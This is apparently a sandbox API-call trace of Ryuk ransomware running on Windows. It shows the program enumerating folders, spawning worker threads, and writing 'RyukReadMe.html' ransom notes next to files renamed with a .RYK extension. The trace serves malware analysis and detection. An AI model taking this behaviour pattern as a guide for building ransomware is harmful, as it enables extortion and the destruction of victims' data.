	[0276.253] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x405185e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4053e740, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0276.253] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2385b770, ftCreationTime.dwHighDateTime=0x1d5be4e, ftLastAccessTime.dwLowDateTime=0xd1bd4300, ftLastAccessTime.dwHighDateTime=0x1d5b5b4, ftLastWriteTime.dwLowDateTime=0x7b50fa40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xa8a2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="s-gmsn.mkv.RYK", cAlternateFileName="S-GMSN~1.RYK")) returned 1
	[0276.253] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0276.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c
	[0276.256] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.257] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7205f990, ftCreationTime.dwHighDateTime=0x1d5bb11, ftLastAccessTime.dwLowDateTime=0xa66d67e0, ftLastAccessTime.dwHighDateTime=0x1d5c485, ftLastWriteTime.dwLowDateTime=0x7b535ba0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5f42, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="suL76PCDpBtAV.mp4.RYK", cAlternateFileName="SUL76P~1.RYK")) returned 1
	[0276.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0276.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890
	[0276.259] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.259] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcabc9fe0, ftCreationTime.dwHighDateTime=0x1d5c335, ftLastAccessTime.dwLowDateTime=0x4cd28700, ftLastAccessTime.dwHighDateTime=0x1d5ba3b, ftLastWriteTime.dwLowDateTime=0x7b535ba0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Ta8_Kc.bmp.RYK", cAlternateFileName="TA8_KC~1.RYK")) returned 1
	[0276.260] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0276.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894
	[0276.261] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.262] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0276.262] SetLastError (dwErrCode=0x0) 
	[0276.262] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898
	[0276.262] GetLastError () returned 0xb7
	[0276.262] CloseHandle (hObject=0x898) returned 1
	[0276.262] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0277.372] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.372] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0277.372] SetLastError (dwErrCode=0x0) 
	[0277.372] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0
	[0277.373] GetLastError () returned 0x0
	[0277.373] WriteFile (in: hFile=0x8a0, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0277.375] CloseHandle (hObject=0x8a0) returned 1
	[0277.375] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0277.376] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.376] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="03J4UQW0", cAlternateFileName="")) returned 1
	[0277.376] SetLastError (dwErrCode=0x0) 
	[0277.376] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.376] GetLastError () returned 0x3
	[0277.376] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.376] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.376] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.376] SetLastError (dwErrCode=0x0) 
	[0277.376] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.376] GetLastError () returned 0x3
	[0277.376] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.377] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x206, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.377] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0277.377] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0277.379] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.380] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="KETAJP6D", cAlternateFileName="")) returned 1
	[0277.380] SetLastError (dwErrCode=0x0) 
	[0277.380] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.380] GetLastError () returned 0x3
	[0277.380] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.381] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.381] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.381] SetLastError (dwErrCode=0x0) 
	[0277.381] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ketajp6d\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.381] GetLastError () returned 0x3
	[0277.381] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.381] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="VB18B0KB", cAlternateFileName="")) returned 1
	[0277.381] SetLastError (dwErrCode=0x0) 
	[0277.381] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.381] GetLastError () returned 0x3
	[0277.381] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.382] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.382] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.382] SetLastError (dwErrCode=0x0) 
	[0277.382] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.382] GetLastError () returned 0x3
	[0277.382] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.382] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 1
	[0277.382] SetLastError (dwErrCode=0x0) 
	[0277.382] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.382] GetLastError () returned 0x3
	[0277.382] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.382] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.382] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.383] SetLastError (dwErrCode=0x0) 
	[0277.383] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.383] GetLastError () returned 0x3
	[0277.383] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.383] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 0
	[0277.383] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0277.383] SetLastError (dwErrCode=0x0) 
	[0277.383] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.383] GetLastError () returned 0x3
	[0277.383] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
